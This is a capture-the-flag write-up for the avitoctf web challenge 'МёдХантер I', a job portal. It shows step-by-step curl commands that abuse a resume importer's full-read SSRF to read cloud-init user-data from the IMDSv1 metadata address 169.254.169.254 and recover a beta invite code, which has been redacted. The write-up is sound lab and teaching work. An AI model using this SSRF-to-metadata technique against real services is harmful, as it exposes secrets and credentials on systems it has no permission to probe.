← Back to Writeups
CUSTOMMediumWeb

МёдХантер I: ранний доступ

XESXOR9/2/20263 min read
#web#custom#medium#full_read_ssrf#imdsv1_user_data_exfiltration#linux

МёдХантер I: ранний доступ

Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: full_read_ssrf, imdsv1_user_data_exfiltration

Summary

Task: A resume importer fetches attacker-controlled URLs and reflects invalid response bodies, exposing a full-read SSRF. Solution: Query IMDSv1 user-data, recover the PDF beta invite variable, and activate it through the seeker API.

МёдХантер I: ранний доступ — avitoctf

Description

МедХантер — портал вакансий. Генерация PDF-резюме доступна только в рамках закрытого бета-тестирования; цель — получить действующий код приглашения.

The application is a job portal whose PDF resume feature requires a valid closed-beta invitation code. The goal is to obtain that code and enable the feature for a normal seeker account.

Analysis

The frontend JavaScript exposed three relevant API operations:

  • POST /api/auth/register creates a normal seeker account and establishes a session.
  • POST /api/seeker/resume/import accepts JSON containing a user-controlled url.
  • POST /api/seeker/pdf/activate validates a beta invitation code.

The resume importer performed a server-side HTTP GET. When the fetched response was not a valid resume document, the API returned the complete response body in the JSON content field. Fetching the site frontend produced its HTML inside that field, proving a full-read SSRF, not merely a blind request primitive.

Loopback recon found the Go backend on 127.0.0.1:8080 and the expected frontend/backend/database Docker services. However, bounded route checks did not reveal a useful internal endpoint. The important pivot was to apply generic SSRF methodology beyond loopback and test link-local cloud metadata.

The host allowed unauthenticated IMDSv1 access. Requesting http://169.254.169.254/latest/user-data through the importer returned cloud-init user-data, including the PDF beta deployment variable. No cloud or storage credentials from that response were needed.

Solution

1. Create an ordinary seeker session

Use placeholders rather than preserving a challenge session cookie:

bash
BASE='https://hrportal-97vy07q2.avitoctf.ru'

curl -sS -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"email":"<EMAIL>","password":"<PASSWORD>","display_name":"Solver","role":"seeker"}' \
  "$BASE/api/auth/register"

The saved response artifact register-seeker.json confirms that the new account had role seeker and pdf_beta_enabled:false.

2. Confirm full-read SSRF

Ask the importer to fetch a non-resume page:

bash
curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1:8080/"}' \
  "$BASE/api/seeker/resume/import"

The API embeds the fetched body in its content property when parsing fails. This behavior makes internal HTTP responses directly readable by the attacker.

3. Read cloud-init user-data

Use the same importer to reach the link-local metadata service:

bash
curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.169.254/latest/user-data"}' \
  "$BASE/api/seeker/resume/import"

The reflected content contains the deployment configuration, including:

text
PDF_BETA_INVITE_CODE=avito{REDACTED}

This confirms that IMDSv1 is reachable without a metadata token and that the importer can read its response.

4. Activate PDF beta access

Copy the recovered value into the activation request:

bash
INVITE='avito{REDACTED}'

curl -sS -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d "{\"code\":\"$INVITE\"}" \
  "$BASE/api/seeker/pdf/activate"

The server returned HTTP 200:

json
{"enabled":true}

A final state check verifies the account change:

bash
curl -sS -b cookies.txt "$BASE/api/me"

The response contains "pdf_beta_enabled":true. These exact success states are preserved in activation-success.json and me-activated.json.

Failed Paths and Distractions

Several bounded alternatives were negative: guessing loopback ports and hidden backend routes, employer registration and role overposting, activation-body type confusion, reuse of public PDF UUIDs or verification codes, obvious session-signing keys, simple SQL injection probes, and seeded default credentials. These checks established that the intended primitive was the importer SSRF; the mistake was initially limiting SSRF recon to ordinary loopback and Docker services.

Reproducible Evidence

  • notes.md: complete test history, phase checkpoints, metadata finding, and activation verification.
  • import-probes.txt: reflected invalid fetched content demonstrating full-read behavior.
  • register-seeker.json: ordinary seeker account initially had PDF beta disabled.
  • activation-success.json: activation returned {"enabled":true}.
  • me-activated.json: /api/me confirmed pdf_beta_enabled:true.